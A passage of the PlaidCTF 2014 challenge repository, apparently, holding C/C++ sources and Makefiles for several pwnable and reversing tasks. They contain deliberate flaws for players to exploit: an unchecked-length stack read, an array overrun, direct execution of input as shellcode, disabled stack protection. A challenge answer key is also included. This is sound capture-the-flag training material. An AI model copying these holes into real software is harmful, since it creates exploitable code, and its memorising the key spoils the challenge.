17 | void computeSHA256(std::string& input, // A pointer to the input data to have the SHA256 hash computed for it.
18 | uint8_t destHash[32]); // The output 256 bit (32 byte) hash
19 |
20 | #endif
21 |
--------------------------------------------------------------------------------
/pwnables/harry_potter/aes256.h:
--------------------------------------------------------------------------------
1 | /*
2 | * Byte-oriented AES-256 implementation.
3 | * All lookup tables replaced with 'on the fly' calculations.
4 | *
5 | * Copyright (c) 2007-2009 Ilya O. Levin, http://www.literatecode.com
6 | * Other contributors: Hal Finney
7 | *
8 | * Permission to use, copy, modify, and distribute this software for any
9 | * purpose with or without fee is hereby granted, provided that the above
10 | * copyright notice and this permission notice appear in all copies.
11 | *
12 | * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
13 | * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
14 | * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
15 | * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
16 | * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
17 | * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
18 | * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
19 | */
20 | #include
21 |
22 | #ifdef __cplusplus
23 | extern "C" {
24 | #endif
25 |
26 | typedef struct {
27 | uint8_t key[32];
28 | uint8_t enckey[32];
29 | uint8_t deckey[32];
30 | } aes256_context;
31 |
32 |
33 | void aes256_init(aes256_context *, uint8_t * /* key */);
34 | void aes256_done(aes256_context *);
35 | void aes256_encrypt_ecb(aes256_context *, uint8_t * /* plaintext */);
36 | void aes256_decrypt_ecb(aes256_context *, uint8_t * /* cipertext */);
37 |
38 | #ifdef __cplusplus
39 | }
40 | #endif
41 |
--------------------------------------------------------------------------------
/pwnables/harry_potter/except:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pwning/plaidctf2014/1bf225f52a6501dac74044b176df39538de34c43/pwnables/harry_potter/except
--------------------------------------------------------------------------------
/pwnables/harry_potter/except.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 |
7 | #include
8 | #include
9 |
10 | #include "aes256.h"
11 | #include "SHA256.h"
12 |
13 | #define PASSWORDHASH "\x88\x10\xad\x58\x1e\x59\xf2\xbc\x39\x28\xb2\x61\x70\x7a\x71\x30" \
14 | "\x8f\x7e\x13\x9e\xb0\x48\x20\x36\x6d\xc4\xd5\xc1\x8d\x98\x02\x25"
15 |
16 | static const unsigned char comic_enc[] = {
17 | 0x74, 0xec, 0x08, 0x32, 0x1f, 0x26, 0x09, 0xcf, 0xbf, 0x08, 0x10, 0x65,
18 | 0x79, 0x86, 0x12, 0x6b, 0xfe, 0xa7, 0x2f, 0x64, 0x93, 0xa9, 0x03, 0xc7,
19 | 0xe6, 0x1d, 0x07, 0x88, 0x52, 0x74, 0xee, 0xf0, 0x0f, 0xec, 0xc7, 0x3f,
20 | 0x56, 0x83, 0x18, 0xda, 0x31, 0x15, 0x82, 0x8e, 0x42, 0x2d, 0xaf, 0x15,
21 | 0x0f, 0xec, 0xc7, 0x3f, 0x56, 0x83, 0x18, 0xda, 0x31, 0x15, 0x82, 0x8e,
22 | 0x42, 0x2d, 0xaf, 0x15, 0xed, 0x2f, 0x56, 0xeb, 0x2f, 0x64, 0x02, 0x1a,
23 | 0x7c, 0x82, 0xde, 0xd5, 0x72, 0x95, 0xf4, 0x29, 0xe4, 0xcd, 0xe5, 0x68,
24 | 0xdd, 0x68, 0x1c, 0x9e, 0x70, 0x67, 0xac, 0x54, 0x59, 0xa9, 0x3d, 0xc1,
25 | 0x29, 0x1a, 0x14, 0xc7, 0x36, 0xec, 0xc9, 0xb6, 0x27, 0x8d, 0x00, 0xf2,
26 | 0xf3, 0xe1, 0xe4, 0x54, 0x09, 0x91, 0x1f, 0x8b, 0xff, 0x7f, 0x87, 0x30,
27 | 0x64, 0x7c, 0xb2, 0x71, 0x3d, 0x7b, 0x13, 0xe8, 0xe3, 0xf2, 0x96, 0xdd,
28 | 0x6e, 0x0c, 0x97, 0xb6, 0x14, 0xa7, 0x39, 0xf2, 0x9b, 0x17, 0x8b, 0xbe,
29 | 0xdb, 0x6c, 0xa1, 0x2f, 0xfd, 0x0e, 0x26, 0x46, 0x86, 0x39, 0x0c, 0x0d,
30 | 0x59, 0x1f, 0x41, 0xa9, 0xdf, 0x94, 0x1f, 0x9f, 0xdb, 0xfb, 0x3a, 0x98,
31 | 0x67, 0xc8, 0xa7, 0x72, 0x8f, 0xb7, 0x2d, 0x1f, 0x22, 0x3b, 0x4f, 0xf0,
32 | 0x4f, 0xd2, 0x1d, 0x0d, 0x96, 0x5e, 0xbf, 0xb9, 0x05, 0x0f, 0x27, 0x17,
33 | 0x11, 0x9f, 0x1a, 0x9d, 0x70, 0x6f, 0xcd, 0xa3, 0x22, 0x45, 0x3f, 0xf3,
34 | 0x67, 0x2f, 0xdb, 0xf3, 0x12, 0xbd, 0x05, 0xf9, 0x0a, 0x20, 0x00, 0x97,
35 | 0xbe, 0x57, 0x66, 0x73, 0xd6, 0xaf, 0xb0, 0xdd, 0xdb, 0x06, 0xeb, 0x2e,
36 | 0x7b, 0x15, 0x42, 0xba, 0xcf, 0x9e, 0x0a, 0x8f, 0x12, 0x8b, 0xf4, 0x8e,
37 | 0x17, 0xee, 0x5e, 0x5b, 0xd1, 0xf7, 0x62, 0xde, 0xb4, 0xe2, 0x84, 0x28,
38 | 0x5a, 0xbd, 0xfa, 0x3f, 0x20, 0x2b, 0xba, 0x1c, 0xb3, 0x1d, 0xdf, 0xe5,
39 | 0x52, 0x87, 0x29, 0x4e, 0x5c, 0xaf, 0x79, 0xf6, 0x9f, 0x02, 0x6d, 0xfc,
40 | 0xe8, 0xe9, 0xd5, 0xb7, 0x25, 0xf1, 0xe1, 0x5f, 0xa2, 0x33, 0x8c, 0x29,
41 | 0x1c, 0x3a, 0x22, 0x72, 0x7b, 0x49, 0xac, 0x50, 0x7f, 0x2c, 0xfb, 0x23,
42 | 0xdf, 0x7e, 0xa7, 0x95, 0x45, 0x75, 0x0e, 0x25, 0x03, 0x0b, 0xb8, 0xda,
43 | 0x56, 0x4e, 0xb9, 0x45, 0x49, 0xe9, 0xba, 0x51, 0xab, 0xa0, 0x88, 0xcc,
44 | 0xd7, 0x63, 0x4d, 0x80, 0x75, 0x0f, 0x0f, 0xee, 0x39, 0x11, 0xb4, 0xda,
45 | 0x21, 0xdb, 0xb3, 0x4b, 0xc9, 0x68, 0xdc, 0x72, 0xb4, 0x70, 0xe9, 0x88,
46 | 0x14, 0x3c, 0x56, 0x5c, 0x59, 0xc6, 0xc4, 0x8d, 0x53, 0x8a, 0x39, 0xb9,
47 | 0x3c, 0xcb, 0x21, 0xa1, 0x47, 0xd7, 0x8a, 0xfa, 0x01, 0xcd, 0x92, 0x4d,
48 | 0x0f, 0xb0, 0x32, 0xc7, 0x10, 0x8c, 0x59, 0xab, 0x2a, 0x67, 0x27, 0x04,
49 | 0x4c, 0xb1, 0x93, 0x6a, 0xb4, 0x9f, 0x78, 0x9f, 0xf8, 0x6f, 0x6a, 0xa3,
50 | 0xdf, 0x40, 0xb6, 0x56, 0xc3, 0xfb, 0x4e, 0xde, 0x0a, 0x7a, 0x0f, 0x7a,
51 | 0x59, 0x30, 0x2a, 0xf0, 0xb7, 0xbc, 0xdf, 0xed, 0x6e, 0x8d, 0x3a, 0xe6,
52 | 0x78, 0x33, 0xde, 0xe1, 0x80, 0x88, 0x37, 0x9d, 0x96, 0x99, 0xfa, 0xfb,
53 | 0xc4, 0x06, 0xaf, 0xbc, 0x7f, 0x66, 0xfc, 0x8b, 0x01, 0xe8, 0xd5, 0xcd,
54 | 0xec, 0x18, 0x89, 0x8c, 0x95, 0xc5, 0xac, 0x62, 0x31, 0xd4, 0x91, 0x5b,
55 | 0xb4, 0x57, 0x5f, 0x75, 0x90, 0xe4, 0x78, 0x4e, 0x14, 0x8e, 0x5f, 0x43,
56 | 0x0c, 0xe4, 0x4f, 0x98, 0xc5, 0x66, 0xa4, 0x43, 0x63, 0x96, 0x6b, 0xae,
57 | 0x74, 0x76, 0x58, 0xc1, 0x90, 0xda, 0x0e, 0x4a, 0x68, 0x16, 0x2e, 0xea,
58 | 0x54, 0xa4, 0x3d, 0x7e, 0xec, 0x01, 0x7c, 0x91, 0xbf, 0xad, 0x5b, 0x3f,
59 | 0x1e, 0x54, 0xfd, 0xa0, 0xb0, 0x04, 0xc0, 0x6a, 0x92, 0xf0, 0x29, 0xd7,
60 | 0xeb, 0x74, 0xf5, 0x3e, 0x5a, 0xfa, 0x9d, 0x6e, 0x76, 0x2e, 0xbe, 0x7a,
61 | 0x9e, 0x1a, 0x2d, 0xe9, 0xcf, 0x49, 0x77, 0xda, 0xda, 0x8c, 0x3a, 0xbe,
62 | 0x41, 0xaf, 0x23, 0x0e
63 | };
64 | static const unsigned int comic_enc_len = 544;
65 |
66 | using namespace std;
67 |
68 | void readall(int fd, char * buf, int len)
69 | {
70 | int ret;
71 | int cnt = len;
72 | while (cnt > 0)
73 | {
74 | ret = read(fd, buf, cnt);
75 | if (ret > 0)
76 | {
77 | buf += ret;
78 | cnt -= ret;
79 | }
80 | else if (errno != EINTR)
81 | {
82 | throw runtime_error("Error during read");
83 | }
84 | }
85 | }
86 |
87 | char * memstr(char * haystack, int length, const char * needle, int nlen)
88 | {
89 | char * end = haystack + length;
90 | while (haystack + nlen <= end)
91 | {
92 | if (memcmp(haystack, needle, nlen) == 0)
93 | return haystack;
94 | haystack++;
95 | }
96 | return NULL;
97 | }
98 |
99 | int exploitme()
100 | {
101 | char buf[1024];
102 |
103 | unsigned int length;
104 | readall(STDIN_FILENO, (char *)&length, sizeof(length));
105 | readall(STDIN_FILENO, buf, length);
106 | char * password = memstr(buf, length, "PASSWORD", 8);
107 | if (password == NULL)
108 | {
109 | cerr << "BAD FORMAT" << endl << "EXPECTED: PASSWORD=[PASSWORD]" << endl;
110 | return 0;
111 | }
112 | password += 9;
113 | int len_password = buf + length - password;
114 |
115 | // allocate memory for copy of string
116 | char * copy = new char [len_password];
117 | memcpy(copy, password, len_password);
118 | string str(copy, len_password);
119 |
120 | uint8_t hash[32];
121 | computeSHA256(str, hash);
122 | if (memcmp(hash, PASSWORDHASH, 32) == 0)
123 | {
124 | return 1;
125 | }
126 | else
127 | {
128 | return 0;
129 | }
130 | }
131 |
132 | static void give_reward()
133 | {
134 | aes256_context *ctx = new aes256_context;
135 | aes256_init(ctx, (uint8_t *)PASSWORDHASH);
136 | char * comic = new char [comic_enc_len];
137 | memcpy(comic, comic_enc, comic_enc_len);
138 | for (int i = 0; i < comic_enc_len; i += 16)
139 | aes256_decrypt_ecb(ctx, (uint8_t *)comic + i);
140 | comic[comic_enc_len-1] = 0;
141 | cerr << comic << endl;
142 | aes256_done(ctx);
143 | delete ctx;
144 | delete[] comic;
145 | }
146 |
147 | int main(int argc, char * argv[])
148 | {
149 | try
150 | {
151 | cerr << "If you guess the password, I will give you a reward!" << endl;
152 | if (exploitme())
153 | give_reward();
154 | else
155 | cerr << "WRONG PASSWORD!" << endl;
156 | }
157 | catch (exception& e)
158 | {
159 | cerr << "EXCEPTION: " << e.what() << endl;
160 | }
161 | return 0;
162 | }
163 |
--------------------------------------------------------------------------------
/pwnables/jackshit/Makefile:
--------------------------------------------------------------------------------
1 | all: jackshit testing
2 |
3 | NS := $(shell test `uname -r | cut -d '.' -f 1,2 | tr -d '.'` -ge 313 || echo "-DNEEDS_SOCKETCALL=1")
4 |
5 | jackshit: main.c
6 | gcc -m32 -Os $^ -o $@ -lseccomp -fno-stack-protector ${NS}
7 | strip $@
8 |
9 | testing: main.c
10 | gcc -m32 -Os $^ -o $@ -lseccomp -fno-stack-protector -DLOCAL_TESTING=1 ${NS}
11 | strip $@
12 |
13 | clean:
14 | rm -f jackshit testing
15 |
--------------------------------------------------------------------------------
/pwnables/kappa/Makefile:
--------------------------------------------------------------------------------
1 | all: kappa
2 |
3 | kappa: kappa.c
4 | gcc -m32 -std=c99 -w $^ -o $@
5 | strip $@
6 |
7 | .PHONY: clean
8 | clean:
9 | rm kappa
10 |
11 |
--------------------------------------------------------------------------------
/pwnables/kappa/art.h:
--------------------------------------------------------------------------------
1 | static char charizard_art[2150] =".\"-,.__\n `. `. ,\n .--' .._,'\"-' `.\n . .' `'\n `. / ,'\n ` '--. ,-\"'\n `\"` | \\\n -. \\, |\n `--Y.' ___.\n \\ L._, \\\n _., `. < <\\ _\n ,' ' `, `. | \\ ( `\n ../, `. ` | .\\`. \\ \\_\n ,' ,.. . _.,' ||\\l ) '\".\n , ,' \\ ,'.-.`-._,' | . _._`.\n ,' / \\ \\ `' ' `--/ | \\ / / ..\\\n .' / \\ . |\\__ - _ ,'` ` / / `.`.\n | ' .. `-...-\" | `-' / / . `.\n | / |L__ | | / / `. `.\n , / . . | | / / ` `\n / / ,. ,`._ `-_ | | _ ,-' / ` \\\n / . \\\"`_/. `-_ \\_,. ,' +-' `-' _, ..,-. \\`.\n. ' .-f ,' ` '. \\__.---' _ .' ' \\ \\\n' / `.' l .' / \\.. ,_|/ `. ,'` L`\n|' _.-\"\"` `. \\ _,' ` \\ `.___`.'\"`-. , | | | \\\n|| ,' `. `. ' _,...._ ` | `/ ' | ' .|\n|| ,' `. ;.,.---' ,' `. `.. `-' .-' /_ .' ;_ ||\n|| ' V / / ` | ` ,' ,' '. ! `. ||\n||/ _,-------7 ' . | `-' l / `||\n. | ,' .- ,' || | .-. `. .' ||\n `' ,' `\".' | | `. '. -.' `'\n / ,' | |,' \\-.._,.'/'\n . / . . \\ .''\n .`. | `. / :_,'.'\n \\ `...\\ _ ,'-. .' /_.-'\n `-.__ `, `' . _.>----''. _ __ /\n .' /\"' | \"' '_\n /_|.-'\\ ,\". '.'`__'-( \\\n / ,\"'\"\\,' `/ `-.|\" mh:\n";
2 |
3 | //static char metapod_art[1900] = " ,--..\n / `.\n /| `.\n / | |\n / j |\n / | `\n ' ,' \\\n ,' L\n / +\n .:. . `\n ,\"`. `. ,..-._ +\n | |`. L ' _.'`. .\n j `.,\\ ' | ,.' | +. +\n '`. |,' |\" `\"\" / `, .\n | `\"\"'/ `-.____.' \\|\n ,'| ,' Y\n / | / '|\n / | ,' ,' +\n / \\-' / `\n / / ,' `\n . ,`'-. ,' L\n \\ / \\ / .\n / ` \\ |\n `/ _, ` ,'\n | ` ,'\n | \"' `. ,'\n j -\"' |`-'\n / /'/\n / , / /\n / ' j /\n .' ___ '/\n |-' `\"`-. '/\n ' \\ .'\n ,\" l _,.-'\n ,---.. |L _.-'\n ,' `. / | ,-'\n / ` _,' ;-'\n ,'--. ,-`| ,-'\n / L _,' _|-'\n( \\-' _,-'\n `......^.-' mh\n\n";
4 |
5 | static char pidgeot_art[1500] = " ..-`\"-._\n ,' ,'`.\n ,f \\ . / ,-'-.\n ' `. | | , ,'`|\n `.-. \\| | ,.' ,-.\\\n /| |. ` | /.'\"||Y .\n . |_|U_\\.|//_U_||. |\n | j / . \\ |'\n L / \\ .j`\n . `\"`._,--| // \\\n j `. ,' , \\ L\n ____/ `\"' \\ L |\n ,-' ,' \\|'-+.\n / ,' . \\\n / / ` `.\n . | j \\ \\\n |F | ' \\ .\n || F | |\\|\n || | | | |\n || | | | |\n `.._L | ,' '\n . | |,| ,'\n ` | '||| j/\n `.' . ,' / '\n \\\\ `._ ,' / ,'\n .\\ ._ ,' /,'\n . , .'| \\ ( //\n j_|'_,' | ._'` / `.\n ' | | | | Y `.\n ,.__ `; | |-\"\"\"^\"\"\"' |.--\"\"`\n ,--\\ \"\"\" , \\ / \\ ,- \"\"\"\"---.\n'.--`v.=:.-' . L.\"`\"'\"\\ , `.,.._ /`.\n .L j-\"`. `\\ j |`. \"'--\"\"`-'\n / |_,' L ,-.| (/`.) `-\\.-'\\\n `-\"\" `. | l / `-\"`-'\n ` `- mh\n";
6 |
7 | static char kakuna_art[500] = " _.---._\n .' '.\n / \\\n / /'-. .-'\\ \\\n '.`\"\"\"` `\"\"\"`.'\n /'-._ _.-'\\\n /_.--\\`-`/--._\\\n ; |'-'| ;\n | .'/ | \\'. |\n | | \\ | / | |\n \\ \\/\\|/\\/ /\n \\_/ _ \\_/\n |-'` `'-|\n |.-\"\"\"-.|\n \\ .---. /\n '._ _.'\n `\n";
8 |
--------------------------------------------------------------------------------
/pwnables/sass/Makefile:
--------------------------------------------------------------------------------
1 | .PHONY: all run clean
2 | all: sass
3 | clean:
4 | rm sass
5 | sass: sass.c
6 | cc -std=c99 -m32 -pie -fPIE -fno-stack-protector -O2 -o $@ $^
7 | run: sass
8 | ./sass
9 |
--------------------------------------------------------------------------------
/pwnables/sass/sass.c:
--------------------------------------------------------------------------------
1 | #define _BSD_SOURCE 1
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 |
9 | int compar(const void *a, const void *b) {
10 | intptr_t x = *(intptr_t*)a;
11 | intptr_t y = *(intptr_t*)b;
12 | if(x > y) return 1;
13 | if(x < y) return -1;
14 | return 0;
15 | }
16 |
17 | size_t read_numbers(intptr_t *numbers) {
18 | char buffer[4096];
19 | size_t count = 0;
20 |
21 | bool prevNewline = false;
22 | bool hexDigits = false;
23 | bool shouldNegate = false;
24 | uintptr_t accu = 0;
25 | while(1) {
26 | ssize_t bytesread = read(0, buffer, sizeof buffer);
27 | assert(bytesread > 0);
28 | for(ssize_t i = 0; i < bytesread; i++) {
29 | switch(buffer[i]) {
30 | case '-':
31 | shouldNegate = true;
32 | break;
33 | case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9':
34 | accu *= hexDigits ? 16 : 10;
35 | accu += buffer[i] - '0';
36 | break;
37 | case 'A': case 'B': case 'C': case 'D': case 'E': case 'F':
38 | accu *= 16;
39 | accu += buffer[i] - 'A' + 10;
40 | break;
41 | case 'a': case 'b': case 'c': case 'd': case 'e': case 'f':
42 | accu *= 16;
43 | accu += buffer[i] - 'a' + 10;
44 | break;
45 | case 'x':
46 | hexDigits = true;
47 | break;
48 | case '\n':
49 | if(prevNewline) return count;
50 | else prevNewline = true;
51 | // Fall through
52 | case ' ':
53 | case '\t':
54 | hexDigits = false;
55 | numbers[count] += shouldNegate ? -accu : accu;
56 | accu = 0;
57 | count++;
58 | break;
59 | default:
60 | assert(!"Bad input.");
61 | }
62 | if(buffer[i] != '\n') prevNewline = false;
63 | }
64 | }
65 | }
66 |
67 |
68 | int main(int argc, char *argv[]) {
69 | alarm(60);
70 | setlinebuf(stdout);
71 |
72 | intptr_t numbers[32] = {0};
73 | puts("Sorting as a service!");
74 | puts("Enter your numbers:");
75 | size_t n = read_numbers(numbers);
76 | puts("Sorting...");
77 | qsort(numbers, n, sizeof(*numbers), compar);
78 | puts("OK, here you are:");
79 | for(size_t i = 0; i < n; i++)
80 | printf("0x%0*lx\n", 2*(int)sizeof(*numbers), numbers[i]);
81 | puts("Thank you, come again!");
82 | return 0;
83 | }
84 |
--------------------------------------------------------------------------------
/pwnables/tenement/Makefile:
--------------------------------------------------------------------------------
1 | all: tenement
2 |
3 | tenement: tenement.c
4 | gcc -z execstack -m32 -Wall -lseccomp -ljansson -Os $^ -o $@
5 | strip $@
6 |
7 | exploit: tenement
8 | python ./exploit.py | ./tenement config.json
9 |
10 | netsploit:
11 | python ./exploit.py | nc localhost 9999
12 |
13 | seccomp_test:
14 | python ./seccomp_test.py | ./tenement config.json
15 |
16 | clean:
17 | rm tenement
18 |
19 | install: tenement
20 | sudo ./setup.sh
21 |
--------------------------------------------------------------------------------
/pwnables/tenement/tenement.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 |
8 | #define BUF_SIZE 128
9 |
10 | const char *msg = "Welcome to another quality problem. PPP is a big fan of being fair and reasonable.\n"
11 | "We've therefore constructed this problem to exemplify those two qualities. The flag to\n"
12 | "this problem has been fairly placed, but we have implemented reasonable protections\n"
13 | "to overcome and hoops for you to jump through in order to retrieve said flag. If you\n"
14 | "find this acceptable, please type \"YES\" and we can continue.\n";
15 |
16 | int init_seccomp() {
17 | int rc;
18 |
19 | scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
20 | if (ctx == NULL)
21 | goto out;
22 |
23 | rc = seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
24 | if (rc < 0)
25 | goto out;
26 |
27 | rc = seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
28 | if (rc < 0)
29 | goto out;
30 |
31 | rc = seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(close), 0);
32 | if (rc < 0)
33 | goto out;
34 |
35 | rc = seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(access), 0);
36 | if (rc < 0)
37 | goto out;
38 |
39 | rc = seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(dup3), 0);
40 | if (rc < 0)
41 | goto out;
42 |
43 | rc = seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(fstat), 0);
44 | if (rc < 0)
45 | goto out;
46 |
47 | rc = seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
48 | if (rc < 0)
49 | goto out;
50 |
51 | rc = seccomp_load(ctx);
52 | if (rc < 0)
53 | goto out;
54 |
55 | return 0;
56 | out:
57 | seccomp_release(ctx);
58 | return -1;
59 | }
60 |
61 | int load_key(const char *f) {
62 | struct {
63 | size_t s, key_len, i;
64 | const char *key;
65 | json_t *json, *tmp, *addrs;
66 | json_error_t error;
67 | void *addr, *mapped_addr, *stmp;
68 | } st;
69 |
70 | st.json = json_load_file(f, 0, &st.error);
71 | if (st.json == NULL)
72 | return -1;
73 | f = NULL;
74 |
75 | st.tmp = json_object_get(st.json, "key");
76 | if (st.tmp == NULL)
77 | return -1;
78 |
79 | st.key = json_string_value(st.tmp);
80 | if (st.key == NULL)
81 | return -1;
82 | st.key_len = strlen("pppp: ");
83 | st.key_len += strlen(st.key);
84 | st.key_len += 1;
85 |
86 | st.stmp = malloc(st.key_len);
87 | if (st.stmp == NULL)
88 | return -1;
89 |
90 | if (snprintf(st.stmp, st.key_len, "%s%s", "pppp: ", st.key) < 0)
91 | return -1;
92 | json_decref(st.tmp);
93 |
94 | for (st.i = 0; st.i < 4; st.i++)
95 | ((char *) st.stmp)[st.i] -= 32;
96 |
97 | st.addrs = json_object_get(st.json, "addrs");
98 | if (st.addrs == NULL)
99 | return -1;
100 |
101 | st.s = json_array_size(st.addrs);
102 | if (st.s == 0)
103 | return -1;
104 |
105 | while (1) {
106 | st.tmp = json_array_get(st.addrs, rand() % st.s);
107 | if (st.tmp == NULL)
108 | return -1;
109 |
110 | st.addr = (void *) (uintptr_t) json_integer_value(st.tmp);
111 | if (st.addr == NULL)
112 | return -1;
113 |
114 | st.mapped_addr = mmap(st.addr, st.key_len, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
115 | if (st.mapped_addr == MAP_FAILED)
116 | continue;
117 |
118 | if ((st.mapped_addr - st.addr) > 0x4000 || ((st.addr - st.mapped_addr) > 0x4000)) {
119 | munmap(st.mapped_addr, st.key_len);
120 | continue;
121 | }
122 |
123 | for (st.i = 0; st.i < st.key_len; st.i++)
124 | ((char *) st.mapped_addr)[st.i] = ((char *) st.stmp)[st.i];
125 |
126 | if (mprotect(st.mapped_addr, st.key_len, PROT_READ) != 0) {
127 | munmap(st.mapped_addr, st.key_len);
128 | continue;
129 | }
130 |
131 | break;
132 | }
133 |
134 | json_decref(st.addrs);
135 | json_decref(st.tmp);
136 | json_decref(st.json);
137 | memset(st.stmp, 42, st.key_len);
138 | free(st.stmp);
139 | memset(&st, 42, sizeof(st));
140 | return 0;
141 | }
142 |
143 | void run_vuln(void) {
144 | char buf[BUF_SIZE];
145 | write(STDOUT_FILENO, msg, strlen(msg));
146 | read(STDIN_FILENO, buf, BUF_SIZE);
147 | (* (void(*)()) buf)();
148 | }
149 |
150 |
151 | int main(int argc, char **argv) {
152 | srand(time(NULL));
153 |
154 | if (argc != 2) {
155 | fprintf(stderr, "Usage: ./tenement CONFIG\n");
156 | return -1;
157 | }
158 |
159 | if (load_key(argv[1]) < 0)
160 | return -1;
161 |
162 | if (init_seccomp() < 0)
163 | return -1;
164 |
165 | run_vuln();
166 | return 0;
167 | }
168 |
--------------------------------------------------------------------------------
/reversing/g++/.gitignore:
--------------------------------------------------------------------------------
1 | solveme
2 | key.h
3 |
--------------------------------------------------------------------------------
/reversing/g++/Makefile:
--------------------------------------------------------------------------------
1 | KEY:=guess_a_key
2 | .PHONY: all key.h
3 |
4 | all: solveme.cpp key.h
5 | g++ -std=c++0x solveme.cpp -ftemplate-depth-1000000 -o solveme
6 |
7 | key.h:
8 | echo '${KEY}' | perl -p -e 's/(.)/sprintf("K(%d,%d)\n",$$i++,ord($$1))/ge' > key.h
9 |
--------------------------------------------------------------------------------
/reversing/g++/g++-30f6a74ce24ea3605ba7cbec92222a72.tar.bz:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pwning/plaidctf2014/1bf225f52a6501dac74044b176df39538de34c43/reversing/g++/g++-30f6a74ce24ea3605ba7cbec92222a72.tar.bz
--------------------------------------------------------------------------------
/reversing/g++/key:
--------------------------------------------------------------------------------
1 | C++_m0re_lyk_C--
2 |
--------------------------------------------------------------------------------
/reversing/g++/solveme.cpp:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | #define R(a) (m<(a),(QQ),(QQ)>::r)
4 | #define RR(a,b) (n::q)
5 | #define RRR(a,b,c,d) RR(RR(a,c),RR(b,d))
6 | #define RRRR(s,t,u,v,w,x,y,z) R(RRR(Q(s,w),Q(t,x),Q(u,y),Q(v,z)))
7 | #define RRRP(s,t,u,v,w) RRRR(s,t,u,v,R(TT(P,w)),R(TT(P,J(w))), \
8 | R(TT(P,J(J(w)))),R(TT(P,J(J(J(w))))))
9 | #define Q(a,b) (n::s)
10 | #define S static const int
11 | #define NNN(q) NN(a,R(b),c,R(d),q)
12 | #define NN(a,c,b,d,q) q = n<(a-1),(c-1),(b+1),(((a+b)>>1)+d)>::q ;
13 | #define QQ ((1<<(1<<3))|1)
14 | #define PT(k,a) key::r
15 | #define WW(a) PT(k,a)
16 | #define WWJD(a) WW(a),WW(III(a)),WW(IV(a)),WW(IV(III(a)))
17 | #define WWKD(a) g::r,g::r,g::r,g::r
18 | #define P(a,b) WWKD(((a)<<2)),WWJD(b)
19 | #define P0 1
20 | #define P1 (P0*f)
21 | #define P2 (P1*P1)
22 | #define P3 (P1*P2)
23 | #define P4 (P2*P2)
24 | #define P5 (P1*P4)
25 | #define P6 (P3*P3)
26 | #define P7 (P3*P4)
27 | #define S0(a,b) ((a)?(a):(b))
28 |
29 | #define T(a, ...) a ## __VA_ARGS__
30 | #define TT(a, ...) T(a, __VA_ARGS__)
31 | #define J(x) T(I,x)
32 | #define I(x) x+T(I,0)
33 | #define II(x) I(I(x))
34 | #define III(x) II(II(x))
35 | #define IV(x) III(III(x))
36 | #define I0 1
37 | #define I1 2
38 | #define I2 3
39 | #define I3 4
40 | #define I4 5
41 | #define I5 6
42 | #define I6 7
43 | #define I7 8
44 | #define I8 9
45 | #define I9 0
46 |
47 | template
48 | struct key {
49 | S r = 0;
50 | };
51 |
52 | #define K(i,v) \
53 | template <> \
54 | struct key { \
55 | S r = v; \
56 | };
57 |
58 | #include "key.h"
59 |
60 | template
61 | struct m {
62 | S r = (a-((a/b)*b));
63 | };
64 |
65 | template
66 | struct n {
67 | S NNN(q)
68 | S NNN(r)
69 | S NNN(s);
70 | };
71 |
72 | template
73 | struct n {
74 | S r = a;
75 | S q = c;
76 | S s = d;
77 | };
78 |
79 | template
80 | struct d {
81 | S r = RRRR(s,t,u,v,w,x,y,z);
82 | };
83 |
84 | template
85 | struct g {
86 | S r = ((3 + g::r*7) ^ (g::r*2))&255;
87 | };
88 |
89 | template <>
90 | struct g<0> {
91 | S r = 13;
92 | };
93 |
94 | template
95 | struct u {
96 | S r = u>3)>::r;
97 | };
98 |
99 | template
100 | struct u {
101 | S r = RRRP(26,43,192,42,0)+RRRP(246,8,221,155,4);
102 | };
103 |
104 | template
105 | struct u {
106 | S r = RRRP(132,141,229,162,4)+RRRP(48,222,109,0,0);
107 | };
108 |
109 |
110 | template
111 | struct r {
112 | S rr = d::r;
113 | };
114 |
115 |
116 | template
117 | struct gg {
118 | S r = R((u::r)) - r<(n>>2),((n)&3)>::rr;
119 | };
120 |
121 | template
122 | struct vvv {
123 | S r = gg::r|gg::r|gg::r|gg::r;
124 | };
125 |
126 | template
127 | struct vv {
128 | S r = vvv<0>::r|vvv<4>::r|vvv<8>::r|vvv<12>::r;
129 | };
130 |
131 | int main() {
132 | if (!vv<0>::r) {
133 | int i;
134 | char skey[] = {key<0>::r, key<1>::r, key<2>::r, key<3>::r, key<4>::r, key<5>::r, key<6>::r, key<7>::r, key<8>::r, key<9>::r, key<10>::r, key<11>::r, key<12>::r, key<13>::r, key<14>::r, key<15>::r};
135 | for (i = 0; i < 1<<(1<<(1<<1)); i++)
136 | std::cout << skey[i];
137 | std::cout << "\n";
138 | }
139 | else {
140 | std::cout << "Wrong\n";
141 | }
142 | return 0;
143 | }
144 |
--------------------------------------------------------------------------------
/reversing/gcc/gimplify.c.diff:
--------------------------------------------------------------------------------
